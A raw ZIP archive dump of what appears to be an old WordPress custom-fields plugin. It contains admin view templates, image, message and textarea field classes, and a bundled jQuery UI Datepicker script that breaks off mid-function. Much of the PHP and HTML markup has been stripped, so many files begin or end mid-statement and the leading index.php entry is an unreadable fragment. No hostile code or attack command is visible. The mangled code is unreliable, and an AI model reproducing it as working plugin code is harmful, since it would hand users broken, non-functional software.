PK;hZviews/index.phpnuW+Aok<");};?>
'); } } } ?> ID); // at lease 1 location rule if( empty($groups) ) { $groups = array( // group_0 array( // rule_0 array( 'param' => 'post_type', 'operator' => '==', 'value' => 'post', 'order_no' => 0, 'group_no' => 0 ) ) ); } ?>

$group ): $group_id = 'group_' . $group_id; ?>

$rule ): $rule_id = 'rule_' . $rule_id; ?>
array( 'post_type' => __("Post Type",'acf'), 'user_type' => __("Logged in User Type",'acf'), ), __("Post",'acf') => array( 'post' => __("Post",'acf'), 'post_category' => __("Post Category",'acf'), 'post_format' => __("Post Format",'acf'), 'post_status' => __("Post Status",'acf'), 'taxonomy' => __("Post Taxonomy",'acf'), ), __("Page",'acf') => array( 'page' => __("Page",'acf'), 'page_type' => __("Page Type",'acf'), 'page_parent' => __("Page Parent",'acf'), 'page_template' => __("Page Template",'acf'), ), __("Other",'acf') => array( 'ef_media' => __("Attachment",'acf'), 'ef_taxonomy' => __("Taxonomy Term",'acf'), 'ef_user' => __("User",'acf'), ) ); // allow custom location rules $choices = apply_filters( 'acf/location/rule_types', $choices ); // create field $args = array( 'type' => 'select', 'name' => 'location[' . $group_id . '][' . $rule_id . '][param]', 'value' => $rule['param'], 'choices' => $choices, ); do_action('acf/create_field', $args); ?> __("is equal to",'acf'), '!=' => __("is not equal to",'acf'), ); // allow custom location rules $choices = apply_filters( 'acf/location/rule_operators', $choices ); // create field do_action('acf/create_field', array( 'type' => 'select', 'name' => 'location[' . $group_id . '][' . $rule_id . '][operator]', 'value' => $rule['operator'], 'choices' => $choices )); ?> ajax_render_location(array( 'group_id' => $group_id, 'rule_id' => $rule_id, 'value' => $rule['value'], 'param' => $rule['param'], )); ?>

PK;hZ0{{views/.htaccessnuW+A Order allow,deny Deny from all PK;hZvD)D)views/meta_box_fields.phpnuW+AID); // add clone $fields[] = apply_filters('acf/load_field_defaults', array( 'key' => 'field_clone', 'label' => __("New Field",'acf'), 'name' => 'new_field', 'type' => 'text', )); // get name of all fields for use in field type drop down $field_types = apply_filters('acf/registered_fields', array()); // helper function function field_type_exists( $name ) { global $field_types; foreach( $field_types as $category ) { if( isset( $category[ $name ] ) ) { return $category[ $name ]; } } return false; } // conditional logic dummy data $conditional_logic_rule = array( 'field' => '', 'operator' => '==', 'value' => '' ); $error_field_type = '' . __('Error', 'acf') . ' ' . __('Field type does not exist', 'acf'); ?>
1){ echo 'style="display:none;"'; } ?>> + Add Field button to create your first field.",'acf'); ?>

'text', 'name' => 'fields[' .$fake_name . '][label]', 'value' => $field['label'], 'class' => 'label', )); ?>

'text', 'name' => 'fields[' .$fake_name . '][name]', 'value' => $field['name'], 'class' => 'name', )); ?>
'select', 'name' => 'fields[' .$fake_name . '][type]', 'value' => $field['type'], 'choices' => $field_types, )); ?>

'textarea', 'name' => 'fields[' .$fake_name . '][instructions]', 'value' => $field['instructions'], 'rows' => 6 )); ?>
'radio', 'name' => 'fields[' .$fake_name . '][required]', 'value' => $field['required'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); ?>
'radio', 'name' => 'fields['.$field['key'].'][conditional_logic][status]', 'value' => $field['conditional_logic']['status'], 'choices' => array( 1 => __("Yes",'acf'), 0 => __("No",'acf'), ), 'layout' => 'horizontal', )); // no rules? if( ! $field['conditional_logic']['rules'] ) { $field['conditional_logic']['rules'] = array( array() // this will get merged with $conditional_logic_rule ); } ?>
> $rule ): // validate $rule = array_merge($conditional_logic_rule, $rule); // fix PHP error in 3.5.4.1 if( strpos($rule['value'],'Undefined index: value in') !== false ) { $rule['value'] = ''; } ?>
'select', 'name' => 'fields['.$field['key'].'][conditional_logic][rules][' . $rule_i . '][operator]', 'value' => $rule['operator'], 'choices' => array( '==' => __("is equal to",'acf'), '!=' => __("is not equal to",'acf'), ), )); ?>
  • 'select', 'name' => 'fields['.$field['key'].'][conditional_logic][allorany]', 'value' => $field['conditional_logic']['allorany'], 'choices' => array( 'all' => __("all",'acf'), 'any' => __("any",'acf'), ), )); ?>
PK;hZT views/meta_box_options.phpnuW+AID); ?>

from lowest to highest",'acf'); ?>

'number', 'name' => 'menu_order', 'value' => $post->menu_order, )); ?>
'select', 'name' => 'options[position]', 'value' => $options['position'], 'choices' => array( 'acf_after_title' => __("High (after title)",'acf'), 'normal' => __("Normal (after content)",'acf'), 'side' => __("Side",'acf'), ), 'default_value' => 'normal' )); ?>
'select', 'name' => 'options[layout]', 'value' => $options['layout'], 'choices' => array( 'no_box' => __("Seamless (no metabox)",'acf'), 'default' => __("Standard (WP metabox)",'acf'), ) )); ?>

Select items to hide them from the edit screen",'acf'); ?>

'checkbox', 'name' => 'options[hide_on_screen]', 'value' => $options['hide_on_screen'], 'choices' => array( 'permalink' => __("Permalink", 'acf'), 'the_content' => __("Content Editor",'acf'), 'excerpt' => __("Excerpt", 'acf'), 'custom_fields' => __("Custom Fields", 'acf'), 'discussion' => __("Discussion", 'acf'), 'comments' => __("Comments", 'acf'), 'revisions' => __("Revisions", 'acf'), 'slug' => __("Slug", 'acf'), 'author' => __("Author", 'acf'), 'format' => __("Format", 'acf'), 'featured_image' => __("Featured Image", 'acf'), 'categories' => __("Categories", 'acf'), 'tags' => __("Tags", 'acf'), 'send-trackbacks' => __("Send Trackbacks", 'acf'), ) )); ?>
PK;hZ=/h&h&fields/image.phpnuW+Aname = 'image'; $this->label = __("Image",'acf'); $this->category = __("Content",'acf'); $this->defaults = array( 'save_format' => 'object', 'preview_size' => 'thumbnail', 'library' => 'all' ); $this->l10n = array( 'select' => __("Select Image",'acf'), 'edit' => __("Edit Image",'acf'), 'update' => __("Update Image",'acf'), 'uploadedTo' => __("Uploaded to this post",'acf'), ); // do not delete! parent::__construct(); // filters add_filter('get_media_item_args', array($this, 'get_media_item_args')); add_filter('wp_prepare_attachment_for_js', array($this, 'wp_prepare_attachment_for_js'), 10, 3); // JSON add_action('wp_ajax_acf/fields/image/get_images', array($this, 'ajax_get_images'), 10, 1); add_action('wp_ajax_nopriv_acf/fields/image/get_images', array($this, 'ajax_get_images'), 10, 1); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'class' => '', 'url' => '', ); // has value? if( $field['value'] && is_numeric($field['value']) ) { $url = wp_get_attachment_image_src($field['value'], $field['preview_size']); if( $url ) { $o['url'] = $url[0]; $o['class'] = 'active'; } } ?>

'radio', 'name' => 'fields['.$key.'][save_format]', 'value' => $field['save_format'], 'layout' => 'horizontal', 'choices' => array( 'object' => __("Image Object",'acf'), 'url' => __("Image URL",'acf'), 'id' => __("Image ID",'acf') ) )); ?>

'radio', 'name' => 'fields['.$key.'][preview_size]', 'value' => $field['preview_size'], 'layout' => 'horizontal', 'choices' => apply_filters('acf/get_image_sizes', array()) )); ?>

'radio', 'name' => 'fields['.$key.'][library]', 'value' => $field['library'], 'layout' => 'horizontal', 'choices' => array( 'all' => __('All', 'acf'), 'uploadedTo' => __('Uploaded to post', 'acf') ) )); ?> ID, 'full' ); $value = array( 'id' => $attachment->ID, 'alt' => get_post_meta($attachment->ID, '_wp_attachment_image_alt', true), 'title' => $attachment->post_title, 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, 'mime_type' => $attachment->post_mime_type, 'url' => $src[0], 'width' => $src[1], 'height' => $src[2], 'sizes' => array(), ); // find all image sizes $image_sizes = get_intermediate_image_sizes(); if( $image_sizes ) { foreach( $image_sizes as $image_size ) { // find src $src = wp_get_attachment_image_src( $attachment->ID, $image_size ); // add src $value[ 'sizes' ][ $image_size ] = $src[0]; $value[ 'sizes' ][ $image_size . '-width' ] = $src[1]; $value[ 'sizes' ][ $image_size . '-height' ] = $src[2]; } // foreach( $image_sizes as $image_size ) } // if( $image_sizes ) } return $value; } /* * get_media_item_args * * @description: * @since: 3.6 * @created: 27/01/13 */ function get_media_item_args( $vars ) { $vars['send'] = true; return($vars); } /* * ajax_get_images * * @description: * @since: 3.5.7 * @created: 13/01/13 */ function ajax_get_images() { // vars $options = array( 'nonce' => '', 'images' => array(), 'preview_size' => 'thumbnail' ); $return = array(); // load post options $options = array_merge($options, $_POST); // verify nonce if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(0); } if( $options['images'] ) { foreach( $options['images'] as $id ) { $url = wp_get_attachment_image_src( $id, $options['preview_size'] ); $return[] = array( 'id' => $id, 'url' => $url[0], ); } } // return json echo json_encode( $return ); die; } /* * image_size_names_choose * * @description: * @since: 3.5.7 * @created: 13/01/13 */ function image_size_names_choose( $sizes ) { global $_wp_additional_image_sizes; if( $_wp_additional_image_sizes ) { foreach( $_wp_additional_image_sizes as $k => $v ) { $title = $k; $title = str_replace('-', ' ', $title); $title = str_replace('_', ' ', $title); $title = ucwords( $title ); $sizes[ $k ] = $title; } // foreach( $image_sizes as $image_size ) } return $sizes; } /* * wp_prepare_attachment_for_js * * @description: This sneaky hook adds the missing sizes to each attachment in the 3.5 uploader. It would be a lot easier to add all the sizes to the 'image_size_names_choose' filter but then it will show up on the normal the_content editor * @since: 3.5.7 * @created: 13/01/13 */ function wp_prepare_attachment_for_js( $response, $attachment, $meta ) { // only for image if( $response['type'] != 'image' ) { return $response; } // make sure sizes exist. Perhaps they dont? if( !isset($meta['sizes']) ) { return $response; } $attachment_url = $response['url']; $base_url = str_replace( wp_basename( $attachment_url ), '', $attachment_url ); if( isset($meta['sizes']) && is_array($meta['sizes']) ) { foreach( $meta['sizes'] as $k => $v ) { if( !isset($response['sizes'][ $k ]) ) { $response['sizes'][ $k ] = array( 'height' => $v['height'], 'width' => $v['width'], 'url' => $base_url . $v['file'], 'orientation' => $v['height'] > $v['width'] ? 'portrait' : 'landscape', ); } } } return $response; } /* * update_value() * * This filter is appied to the $value before it is updated in the db * * @type filter * @since 3.6 * @date 23/01/13 * * @param $value - the value which will be saved in the database * @param $post_id - the $post_id of which the value will be saved * @param $field - the field array holding all the field options * * @return $value - the modified value */ function update_value( $value, $post_id, $field ) { // array? if( is_array($value) && isset($value['id']) ) { $value = $value['id']; } // object? if( is_object($value) && isset($value->ID) ) { $value = $value->ID; } return $value; } } new acf_field_image(); ?>PK;hZ_[fields/message.phpnuW+Aname = 'message'; $this->label = __("Message",'acf'); $this->category = __("Layout",'acf'); $this->defaults = array( 'message' => '', ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { echo wpautop( $field['message'] ); } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_options( $field ) { // vars $key = $field['name']; ?>



wpautop

'textarea', 'class' => 'textarea', 'name' => 'fields['.$key.'][message]', 'value' => $field['message'], )); ?> PK;hZTK5fields/textarea.phpnuW+Aname = 'textarea'; $this->label = __("Text Area",'acf'); $this->defaults = array( 'default_value' => '', 'formatting' => 'br', 'maxlength' => '', 'placeholder' => '', 'rows' => '' ); // do not delete! parent::__construct(); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // vars $o = array( 'id', 'class', 'name', 'placeholder', 'rows' ); $e = ''; // maxlength if( $field['maxlength'] !== "" ) { $o[] = 'maxlength'; } // rows if( empty($field['rows']) ) { $field['rows'] = 8; } $e .= '

'textarea', 'name' => 'fields['.$key.'][default_value]', 'value' => $field['default_value'], )); ?>

'text', 'name' => 'fields[' .$key.'][placeholder]', 'value' => $field['placeholder'], )); ?>

'number', 'name' => 'fields[' .$key.'][maxlength]', 'value' => $field['maxlength'], )); ?>

'number', 'name' => 'fields[' .$key.'][rows]', 'value' => $field['rows'], 'placeholder' => 8 )); ?>

'select', 'name' => 'fields['.$key.'][formatting]', 'value' => $field['formatting'], 'choices' => array( 'none' => __("No formatting",'acf'), 'br' => __("Convert new lines into <br /> tags",'acf'), 'html' => __("Convert HTML into tags",'acf') ) )); ?> PK;hZ-,(,(*fields/date_picker/jquery.ui.datepicker.jsnuW+A/* * jQuery UI Datepicker 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Datepicker * * Depends: * jquery.ui.core.js */ (function( $, undefined ) { $.extend($.ui, { datepicker: { version: "1.8.14" } }); var PROP_NAME = 'datepicker'; var dpuuid = new Date().getTime(); var instActive; /* Date picker manager. Use the singleton instance of this class, $.datepicker, to interact with the date picker. Settings for (groups of) date pickers are maintained in an instance object, allowing multiple different settings on the same page. */ function Datepicker() { this.debug = false; // Change this to true to start debugging this._curInst = null; // The current instance in use this._keyEvent = false; // If the last event was a key event this._disabledInputs = []; // List of date picker inputs that have been disabled this._datepickerShowing = false; // True if the popup picker is showing , false if not this._inDialog = false; // True if showing within a "dialog", false if not this._mainDivId = 'ui-datepicker-div'; // The ID of the main datepicker division this._inlineClass = 'ui-datepicker-inline'; // The name of the inline marker class this._appendClass = 'ui-datepicker-append'; // The name of the append marker class this._triggerClass = 'ui-datepicker-trigger'; // The name of the trigger marker class this._dialogClass = 'ui-datepicker-dialog'; // The name of the dialog marker class this._disableClass = 'ui-datepicker-disabled'; // The name of the disabled covering marker class this._unselectableClass = 'ui-datepicker-unselectable'; // The name of the unselectable cell marker class this._currentClass = 'ui-datepicker-current-day'; // The name of the current day marker class this._dayOverClass = 'ui-datepicker-days-cell-over'; // The name of the day hover marker class this.regional = []; // Available regional settings, indexed by language code this.regional[''] = { // Default regional settings closeText: 'Done', // Display text for close link prevText: 'Prev', // Display text for previous month link nextText: 'Next', // Display text for next month link currentText: 'Today', // Display text for current month link monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], // Names of months for drop-down and formatting monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], // For formatting dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], // For formatting dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], // For formatting dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], // Column headings for days starting at Sunday weekHeader: 'Wk', // Column header for week of the year dateFormat: 'mm/dd/yy', // See format options on parseDate firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ... isRTL: false, // True if right-to-left language, false if left-to-right showMonthAfterYear: false, // True if the year select precedes month, false for month then year yearSuffix: '' // Additional text to append to the year in the month headers }; this._defaults = { // Global defaults for all the date picker instances showOn: 'focus', // 'focus' for popup on focus, // 'button' for trigger button, or 'both' for either showAnim: 'fadeIn', // Name of jQuery animation for popup showOptions: {}, // Options for enhanced animations defaultDate: null, // Used when field is blank: actual date, // +/-number for offset from today, null for today appendText: '', // Display text following the input box, e.g. showing the format buttonText: '...', // Text for trigger button buttonImage: '', // URL for trigger button image buttonImageOnly: false, // True if the image appears alone, false if it appears on a button hideIfNoPrevNext: false, // True to hide next/previous month links // if not applicable, false to just disable them navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links gotoCurrent: false, // True if today link goes back to current selection instead changeMonth: false, // True if month can be selected directly, false if only prev/next changeYear: false, // True if year can be selected directly, false if only prev/next yearRange: 'c-10:c+10', // Range of years to display in drop-down, // either relative to today's year (-nn:+nn), relative to currently displayed year // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n) showOtherMonths: false, // True to show dates in other months, false to leave blank selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable showWeek: false, // True to show week of the year, false to not show it calculateWeek: this.iso8601Week, // How to calculate the week of the year, // takes a Date and returns the number of the week for it shortYearCutoff: '+10', // Short year values < this are in the current century, // > this are in the previous century, // string value starting with '+' for current year + value minDate: null, // The earliest selectable date, or null for no limit maxDate: null, // The latest selectable date, or null for no limit duration: 'fast', // Duration of display/closure beforeShowDay: null, // Function that takes a date and returns an array with // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or '', // [2] = cell title (optional), e.g. $.datepicker.noWeekends beforeShow: null, // Function that takes an input field and // returns a set of custom settings for the date picker onSelect: null, // Define a callback function when a date is selected onChangeMonthYear: null, // Define a callback function when the month or year is changed onClose: null, // Define a callback function when the datepicker is closed numberOfMonths: 1, // Number of months to show at a time showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0) stepMonths: 1, // Number of months to step back/forward stepBigMonths: 12, // Number of months to step back/forward for the big links altField: '', // Selector for an alternate field to store selected dates into altFormat: '', // The date format to use for the alternate field constrainInput: true, // The input is constrained by the current date format showButtonPanel: false, // True to show button panel, false to not show it autoSize: false // True to size the input for the date format, false to leave as is }; $.extend(this._defaults, this.regional['']); this.dpDiv = bindHover($('
')); } $.extend(Datepicker.prototype, { /* Class name added to elements to indicate already configured with a date picker. */ markerClassName: 'hasDatepicker', //Keep track of the maximum number of rows displayed (see #7043) maxRows: 4, /* Debug logging (if enabled). */ log: function () { if (this.debug) console.log.apply('', arguments); }, // TODO rename to "widget" when switching to widget factory _widgetDatepicker: function() { return this.dpDiv; }, /* Override the default settings for all instances of the date picker. @param settings object - the new settings to use as defaults (anonymous object) @return the manager object */ setDefaults: function(settings) { extendRemove(this._defaults, settings || {}); return this; }, /* Attach the date picker to a jQuery selection. @param target element - the target input field or division or span @param settings object - the new settings to use for this date picker instance (anonymous) */ _attachDatepicker: function(target, settings) { // check for settings on the control itself - in namespace 'date:' var inlineSettings = null; for (var attrName in this._defaults) { var attrValue = target.getAttribute('date:' + attrName); if (attrValue) { inlineSettings = inlineSettings || {}; try { inlineSettings[attrName] = eval(attrValue); } catch (err) { inlineSettings[attrName] = attrValue; } } } var nodeName = target.nodeName.toLowerCase(); var inline = (nodeName == 'div' || nodeName == 'span'); if (!target.id) { this.uuid += 1; target.id = 'dp' + this.uuid; } var inst = this._newInst($(target), inline); inst.settings = $.extend({}, settings || {}, inlineSettings || {}); if (nodeName == 'input') { this._connectDatepicker(target, inst); } else if (inline) { this._inlineDatepicker(target, inst); } }, /* Create a new instance object. */ _newInst: function(target, inline) { var id = target[0].id.replace(/([^A-Za-z0-9_-])/g, '\\\\$1'); // escape jQuery meta chars return {id: id, input: target, // associated target selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection drawMonth: 0, drawYear: 0, // month being drawn inline: inline, // is datepicker inline or not dpDiv: (!inline ? this.dpDiv : // presentation div bindHover($('
')))}; }, /* Attach the date picker to an input field. */ _connectDatepicker: function(target, inst) { var input = $(target); inst.append = $([]); inst.trigger = $([]); if (input.hasClass(this.markerClassName)) return; this._attachments(input, inst); input.addClass(this.markerClassName).keydown(this._doKeyDown). keypress(this._doKeyPress).keyup(this._doKeyUp). bind("setData.datepicker", function(event, key, value) { inst.settings[key] = value; }).bind("getData.datepicker", function(event, key) { return this._get(inst, key); }); this._autoSize(inst); $.data(target, PROP_NAME, inst); }, /* Make attachments based on settings. */ _attachments: function(input, inst) { var appendText = this._get(inst, 'appendText'); var isRTL = this._get(inst, 'isRTL'); if (inst.append) inst.append.remove(); if (appendText) { inst.append = $('' + appendText + ''); input[isRTL ? 'before' : 'after'](inst.append); } input.unbind('focus', this._showDatepicker); if (inst.trigger) inst.trigger.remove(); var showOn = this._get(inst, 'showOn'); if (showOn == 'focus' || showOn == 'both') // pop-up date picker when in the marked field input.focus(this._showDatepicker); if (showOn == 'button' || showOn == 'both') { // pop-up date picker when button clicked var buttonText = this._get(inst, 'buttonText'); var buttonImage = this._get(inst, 'buttonImage'); inst.trigger = $(this._get(inst, 'buttonImageOnly') ? $('').addClass(this._triggerClass). attr({ src: buttonImage, alt: buttonText, title: buttonText }) : $('').addClass(this._triggerClass). html(buttonImage == '' ? buttonText : $('').attr( { src:buttonImage, alt:buttonText, title:buttonText }))); input[isRTL ? 'before' : 'after'](inst.trigger); inst.trigger.click(function() { if ($.datepicker._datepickerShowing && $.datepicker._lastInput == input[0]) $.datepicker._hideDatepicker(); else $.datepicker._showDatepicker(input[0]); return false; }); } }, /* Apply the maximum length for the date format. */ _autoSize: function(inst) { if (this._get(inst, 'autoSize') && !inst.inline) { var date = new Date(2009, 12 - 1, 20); // Ensure double digits var dateFormat = this._get(inst, 'dateFormat'); if (dateFormat.match(/[DM]/)) { var findMax = function(names) { var max = 0; var maxI = 0; for (var i = 0; i < names.length; i++) { if (names[i].length > max) { max = names[i].length; maxI = i; } } return maxI; }; date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ? 'monthNames' : 'monthNamesShort')))); date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ? 'dayNames' : 'dayNamesShort'))) + 20 - date.getDay()); } inst.input.attr('size', this._formatDate(inst, date).length); } }, /* Attach an inline date picker to a div. */ _inlineDatepicker: function(target, inst) { var divSpan = $(target); if (divSpan.hasClass(this.markerClassName)) return; divSpan.addClass(this.markerClassName).append(inst.dpDiv). bind("setData.datepicker", function(event, key, value){ inst.settings[key] = value; }).bind("getData.datepicker", function(event, key){ return this._get(inst, key); }); $.data(target, PROP_NAME, inst); this._setDate(inst, this._getDefaultDate(inst), true); this._updateDatepicker(inst); this._updateAlternate(inst); inst.dpDiv.show(); }, /* Pop-up the date picker in a "dialog" box. @param input element - ignored @param date string or Date - the initial date to display @param onSelect function - the function to call when a date is selected @param settings object - update the dialog date picker instance's settings (anonymous object) @param pos int[2] - coordinates for the dialog's position within the screen or event - with x/y coordinates or leave empty for default (screen centre) @return the manager object */ _dialogDatepicker: function(input, date, onSelect, settings, pos) { var inst = this._dialogInst; // internal instance if (!inst) { this.uuid += 1; var id = 'dp' + this.uuid; this._dialogInput = $(''); this._dialogInput.keydown(this._doKeyDown); $('body').append(this._dialogInput); inst = this._dialogInst = this._newInst(this._dialogInput, false); inst.settings = {}; $.data(this._dialogInput[0], PROP_NAME, inst); } extendRemove(inst.settings, settings || {}); date = (date && date.constructor == Date ? this._formatDate(inst, date) : date); this._dialogInput.val(date); this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null); if (!this._pos) { var browserWidth = document.documentElement.clientWidth; var browserHeight = document.documentElement.clientHeight; var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft; var scrollY = document.documentElement.scrollTop || document.body.scrollTop; this._pos = // should use actual width/height below [(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY]; } // move input on screen for focus, but hidden behind dialog this._dialogInput.css('left', (this._pos[0] + 20) + 'px').css('top', this._pos[1] + 'px'); inst.settings.onSelect = onSelect; this._inDialog = true; this.dpDiv.addClass(this._dialogClass); this._showDatepicker(this._dialogInput[0]); if ($.blockUI) $.blockUI(this.dpDiv); $.data(this._dialogInput[0], PROP_NAME, inst); return this; }, /* Detach a datepicker from its control. @param target element - the target input field or division or span */ _destroyDatepicker: function(target) { var $target = $(target); var inst = $.data(target, PROP_NAME); if (!$target.hasClass(this.markerClassName)) { return; } var nodeName = target.nodeName.toLowerCase(); $.removeData(target, PROP_NAME); if (nodeName == 'input') { inst.append.remove(); inst.trigger.remove(); $target.removeClass(this.markerClassName). unbind('focus', this._showDatepicker). unbind('keydown', this._doKeyDown). unbind('keypress', this._doKeyPress). unbind('keyup', this._doKeyUp); } else if (nodeName == 'div' || nodeName == 'span') $target.removeClass(this.markerClassName).empty(); }, /* Enable the date picker to a jQuery selection. @param target element - the target input field or division or span */ _enableDatepicker: function(target) { var $target = $(target); var inst = $.data(target, PROP_NAME); if (!$target.hasClass(this.markerClassName)) { return; } var nodeName = target.nodeName.toLowerCase(); if (nodeName == 'input') { target.disabled = false; inst.trigger.filter('button'). each(function() { this.disabled = false; }).end(). filter('img').css({opacity: '1.0', cursor: ''}); } else if (nodeName == 'div' || nodeName == 'span') { var inline = $target.children('.' + this._inlineClass); inline.children().removeClass('ui-state-disabled'); inline.find("select.ui-datepicker-month, select.ui-datepicker-year"). removeAttr("disabled"); } this._disabledInputs = $.map(this._disabledInputs, function(value) { return (value == target ? null : value); }); // delete entry }, /* Disable the date picker to a jQuery selection. @param target element - the target input field or division or span */ _disableDatepicker: function(target) { var $target = $(target); var inst = $.data(target, PROP_NAME); if (!$target.hasClass(this.markerClassName)) { return; } var nodeName = target.nodeName.toLowerCase(); if (nodeName == 'input') { target.disabled = true; inst.trigger.filter('button'). each(function() { this.disabled = true; }).end(). filter('img').css({opacity: '0.5', cursor: 'default'}); } else if (nodeName == 'div' || nodeName == 'span') { var inline = $target.children('.' + this._inlineClass); inline.children().addClass('ui-state-disabled'); inline.find("select.ui-datepicker-month, select.ui-datepicker-year"). attr("disabled", "disabled"); } this._disabledInputs = $.map(this._disabledInputs, function(value) { return (value == target ? null : value); }); // delete entry this._disabledInputs[this._disabledInputs.length] = target; }, /* Is the first field in a jQuery collection disabled as a datepicker? @param target element - the target input field or division or span @return boolean - true if disabled, false if enabled */ _isDisabledDatepicker: function(target) { if (!target) { return false; } for (var i = 0; i < this._disabledInputs.length; i++) { if (this._disabledInputs[i] == target) return true; } return false; }, /* Retrieve the instance data for the target control. @param target element - the target input field or division or span @return object - the associated instance data @throws error if a jQuery problem getting data */ _getInst: function(target) { try { return $.data(target, PROP_NAME); } catch (err) { throw 'Missing instance data for this datepicker'; } }, /* Update or retrieve the settings for a date picker attached to an input field or division. @param target element - the target input field or division or span @param name object - the new settings to update or string - the name of the setting to change or retrieve, when retrieving also 'all' for all instance settings or 'defaults' for all global defaults @param value any - the new value for the setting (omit if above is an object or to retrieve a value) */ _optionDatepicker: function(target, name, value) { var inst = this._getInst(target); if (arguments.length == 2 && typeof name == 'string') { return (name == 'defaults' ? $.extend({}, $.datepicker._defaults) : (inst ? (name == 'all' ? $.extend({}, inst.settings) : this._get(inst, name)) : null)); } var settings = name || {}; if (typeof name == 'string') { settings = {}; settings[name] = value; } if (inst) { if (this._curInst == inst) { this._hideDatepicker(); } var date = this._getDateDatepicker(target, true); var minDate = this._getMinMaxDate(inst, 'min'); var maxDate = this._getMinMaxDate(inst, 'max'); extendRemove(inst.settings, settings); // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided if (minDate !== null && settings['dateFormat'] !== undefined && settings['minDate'] === undefined) inst.settings.minDate = this._formatDate(inst, minDate); if (maxDate !== null && settings['dateFormat'] !== undefined && settings['maxDate'] === undefined) inst.settings.maxDate = this._formatDate(inst, maxDate); this._attachments($(target), inst); this._autoSize(inst); this._setDate(inst, date); this._updateAlternate(inst); this._updateDatepicker(inst); } }, // change method deprecated _changeDatepicker: function(target, name, value) { this._optionDatepicker(target, name, value); }, /* Redraw the date picker attached to an input field or division. @param target element - the target input field or division or span */ _refreshDatepicker: function(target) { var inst = this._getInst(target); if (inst) { this._updateDatepicker(inst); } }, /* Set the dates for a jQuery selection. @param target element - the target input field or division or span @param date Date - the new date */ _setDateDatepicker: function(target, date) { var inst = this._getInst(target); if (inst) { this._setDate(inst, date); this._updateDatepicker(inst); this._updateAlternate(inst); } }, /* Get the date(s) for the first entry in a jQuery selection. @param target element - the target input field or division or span @param noDefault boolean - true if no default date is to be used @return Date - the current date */ _getDateDatepicker: function(target, noDefault) { var inst = this._getInst(target); if (inst && !inst.inline) this._setDateFromField(inst, noDefault); return (inst ? this._getDate(inst) : null); }, /* Handle keystrokes. */ _doKeyDown: function(event) { var inst = $.datepicker._getInst(event.target); var handled = true; var isRTL = inst.dpDiv.is('.ui-datepicker-rtl'); inst._keyEvent = true; if ($.datepicker._datepickerShowing) switch (event.keyCode) { case 9: $.datepicker._hideDatepicker(); handled = false; break; // hide on tab out case 13: var sel = $('td.' + $.datepicker._dayOverClass + ':not(.' + $.datepicker._currentClass + ')', inst.dpDiv); if (sel[0]) $.datepicker._selectDay(event.target, inst.selectedMonth, inst.selectedYear, sel[0]); else $.datepicker._hideDatepicker(); return false; // don't submit the form break; // select the value on enter case 27: $.datepicker._hideDatepicker(); break; // hide on escape case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ? -$.datepicker._get(inst, 'stepBigMonths') : -$.datepicker._get(inst, 'stepMonths')), 'M'); break; // previous month/year on page up/+ ctrl case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ? +$.datepicker._get(inst, 'stepBigMonths') : +$.datepicker._get(inst, 'stepMonths')), 'M'); break; // next month/year on page down/+ ctrl case 35: if (event.ctrlKey || event.metaKey) $.datepicker._clearDate(event.target); handled = event.ctrlKey || event.metaKey; break; // clear on ctrl or command +end case 36: if (event.ctrlKey || event.metaKey) $.datepicker._gotoToday(event.target); handled = event.ctrlKey || event.metaKey; break; // current on ctrl or command +home case 37: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), 'D'); handled = event.ctrlKey || event.metaKey; // -1 day on ctrl or command +left if (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ? -$.datepicker._get(inst, 'stepBigMonths') : -$.datepicker._get(inst, 'stepMonths')), 'M'); // next month/year on alt +left on Mac break; case 38: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, -7, 'D'); handled = event.ctrlKey || event.metaKey; break; // -1 week on ctrl or command +up case 39: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), 'D'); handled = event.ctrlKey || event.metaKey; // +1 day on ctrl or command +right if (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ? +$.datepicker._get(inst, 'stepBigMonths') : +$.datepicker._get(inst, 'stepMonths')), 'M'); // next month/year on alt +right break; 